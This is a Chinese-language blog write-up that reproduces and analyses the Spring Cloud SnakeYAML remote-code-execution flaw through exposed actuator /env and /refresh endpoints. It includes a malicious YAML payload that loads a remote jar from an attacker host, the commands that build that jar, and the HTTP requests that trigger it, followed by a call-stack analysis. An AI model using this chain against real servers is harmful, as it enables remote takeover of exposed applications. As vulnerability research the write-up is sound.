spring cloud SnakeYAML RCE

漏洞环境:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springcloud-snakeyaml-rce

IDEA打开然后配置一个Spring Boot即可

漏洞复现:

  1. python3 -m http.server 80 在 VPS 上开一个简单的 WEB 服务

  2. 编写一个 example.yml 文件,上传到 VPS 根目录

    !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.43.141/example.jar"]]]
    ]
    
  3. https://github.com/artsploit/yaml-payload 下载下来,用如下命令生成 example.jar 文件,把 jar 文件上传到 VPS 根目录(我这里把AwesomeScriptEngineFactory.java 文件里的命令执行改为弹计算机,方便测试)

    javac src/artsploit/AwesomeScriptEngineFactory.java
    jar -cvf example.jar -C src/ .
    
  4. 访问 env 接口改变服务器 spring.cloud.bootstrap.location 环境变量

    POST /env
    Content-Type: application/x-www-form-urlencodedspring.cloud.bootstrap.location=http://your-vps-ip/example.yml
    
  5. 访问 refresh 接口更新服务器配置(个人理解)

    POST /refresh
    Content-Type: application/x-www-form-urlencoded

漏洞分析

通过 env 接口改变服务器 spring.cloud.bootstrap.location 环境变量,访问 refresh 接口更新服务器配置时,会加载 spring.cloud.bootstrap.location 环境变量指向的外部 URL 地址的文件,也就是加载 example.yml 文件,然后把这个 yml 文件交给 SnakeYAML 处理,SnakeYAML 根据 example.yml 文件反序列化出一个 ScriptEngineManager 对象,其实就是会下载 http://192.168.43.141/example.jar 文件,并寻找一个实现 javax.script.ScriptEngineFactory 接口的类,找的后进行实例化

SnakeYAML 反序列化

如下代码就相当于 SnakeYAML 反序列化 ScriptEngineManager 对象的作用

public class Test {public static void main(String[] args) throws IOException {URL url = new URL("http://192.168.43.141/example.jar");new ScriptEngineManager(new URLClassLoader(new URL[]{url}));}
}

Runtime#exec 方法下断点

ServiceLoader#nextService 方法调用了无参构造实例化对象,无参构造里面构造的命令就会执行

调用栈如下

refresh更新配置

继续在 Runtime#exec 下断点进行分析,在 RefreshEndpoint#refresh 方法处理 refresh 接口访问

在调用栈的 BootstrapApplicationListener#bootstrapServiceContext 方法中调用 environment.resolvePlaceholders 获取到服务器 spring.cloud.bootstrap.location 环境变量赋值给 configLocation 变量

然后在 PropertySourcesLoader#load 方法中根据前面获取到的 spring.cloud.bootstrap.location 环境变量的文件后缀为yml,调用 YamlPropertySourceLoader#load 方法加载 URL 对应的yml配置文件

跟进 YamlPropertySourceLoader#load 方法,因为 spring-beans.jar 包含 snakeyaml.jar,所以会调用 SnakeYAML 库解析yml文件

最终到 YamlProcessor#process 方法中调用到 Yaml#loadAll 解析yml文件内容,之后就是反序列化 ScriptEngineManager 对象(前面分析的)

总结

版本利用存在限制:

SpringBoot 2.x 无法利用
SpringBoot 1.5.x 在 Dalston 版本可以利用,在 Edgware 版本无法利用
SpringBoot <=1.4 可以利用

漏洞利用条件:

可以访问 evn 接口
可以访问 refresh 接口
目标可以出网

参考:

https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/
https://github.com/LandGrey/SpringBootVulExploit

spring cloud SnakeYAML RCE相关推荐

  1. Spring Cloud Gateway rce

    Spring Cloud Gateway rce cve-2022-22947 漏洞描述: Spring Cloud Gateway是Spring中的一个API网关.其3.1.0及3.0.6版本(包含 ...

  2. RedMonk最新编程语言排行榜;Spring 框架现 RCE 漏洞……|叨资讯

    点击关注强哥,查看更多精彩文章呀 哈喽,大家好,我是强哥. Spring 框架现 RCE 漏洞:按月租用iPhone手机.随时能换新款:俄罗斯或将转用 HarmonyOS:Chrome 100发布:R ...

  3. Spring Boot集成ShardingSphere分片利器 AutoTable (二)—— 自动分片算法示例 | Spring Cloud 46

    一.前言 在前面我们通过以下章节对ShardingSphere的AutoTable 有了基础的了解: Spring Boot集成ShardingSphere分片利器 AutoTable (一)-- 简 ...

  4. Spring Cloud Alibaba (一) 之Nacos

    关于Nacos 在微服务概念兴起之后,越来越多的项目使用微服务的架构理念,随着服务节点的逐渐增多,我们需要一个独立的服务或者说组件,对我们的所有微服务节点进行管理.最早还没有SpringCloud的时 ...

  5. SpringCloud核心教程 | 第二篇: 使用Intellij中的maven来快速构建Spring Cloud工程

    spring cloud简介 spring cloud 为开发人员提供了快速构建分布式系统的一些工具,包括配置管理.服务发现.断路器.路由.微代理.事件总线.全局锁.决策竞选.分布式会话等等.它运行环 ...

  6. Spring cloud 微服务docker容器化最佳实践

    Spring cloud 是当下最炙手可热的微服务套件,我们将介绍如何整合Docker容器达到高效快捷的构建发布 采用了dockerfile-maven-plugin插件发布镜像到远程docker主机 ...

  7. Spring Cloud Alibaba基础教程:使用Nacos实现服务注册与发现

    自Spring Cloud Alibaba发布第一个Release以来,就备受国内开发者的高度关注.虽然Spring Cloud Alibaba还没能纳入Spring Cloud的主版本管理中,但是凭 ...

  8. Spring Cloud下微服务权限方案

    背景 从传统的单体应用转型Spring Cloud的朋友都在问我,Spring Cloud下的微服务权限怎么管?怎么设计比较合理?从大层面讲叫服务权限,往小处拆分,分别为三块:用户认证.用户权限.服务 ...

  9. 玩转Spring Cloud之配置中心(config server config client)

    玩转Spring Cloud之配置中心(config server &config client)  本文内容导航: 一.搭建配置服务中心(config server) 1.1.git方式 1 ...

  10. spring cloud微服务治理eureka、hystrix、zuul代码例子

    spring cloud微服务中台服务代码例子,包括eureka.hystrix.zuul https://github.com/birdstudiocn/spring-cloud-sample/tr ...

最新文章

  1. Udacity机器人软件工程师课程笔记(三十) - 语义分割与实例实现 - 使用keras实现语义分割
  2. 为什么要使用Go语言?Go语言的优势在哪里?
  3. python三大神器之装饰器
  4. 【超链接】ToMyStudy
  5. 【干货】裸金属服务Ironic项目介绍
  6. 解决启动hadoop时datanode无法启动
  7. c++ static用法,全局变量,与别的语言不一样
  8. ps - 按进程消耗内存多少排序
  9. Abstract class虚拟类
  10. u盘往linux考文件过大,U盘拷贝时提示文件过大怎么办,教您如何解决
  11. CodeForces - 1430E String Reversal(线段树+模拟)
  12. 寻找唯一特等奖java,大工斩获唯一特等奖!这次,请为我工老师疯狂打call!
  13. C# list删除 另外list里面的元素_C#并发实战Parallel.ForEach使用
  14. mysql 比较一个字符串_比较MySQL中的两个字符串?
  15. 固态硬盘怎么看出厂日期_如何查看SSD可以使用多长时间?固态硬盘寿命测试方法(全文)...
  16. eclipse为什么文件夹路径真实存在但运行显示路径不存在
  17. 微信公众号模版消息推送
  18. Canonical Coin Systems
  19. 思科cisoc 路由器IKEv2使用map配置隧道
  20. 个人GitHub地址

热门文章

  1. html 设置表格打印宽度设置,html表格怎么设置宽度
  2. qlistview 自定义控件_qlistview使用自定义模型的复选框
  3. 传智播客python高级-2018年传智播客黑马python15期
  4. Java方法及方法的重载
  5. 博弈论中的简单合作博弈 C#实现
  6. 抓包工具charles下载安装(破解版)
  7. JAVA 实现阿里云的短信验证码
  8. Windows批量快速删除大量文件
  9. 使用 Office Web 组件参考文档
  10. matlab显示 图注,Matlab图例注记乱码(2019a)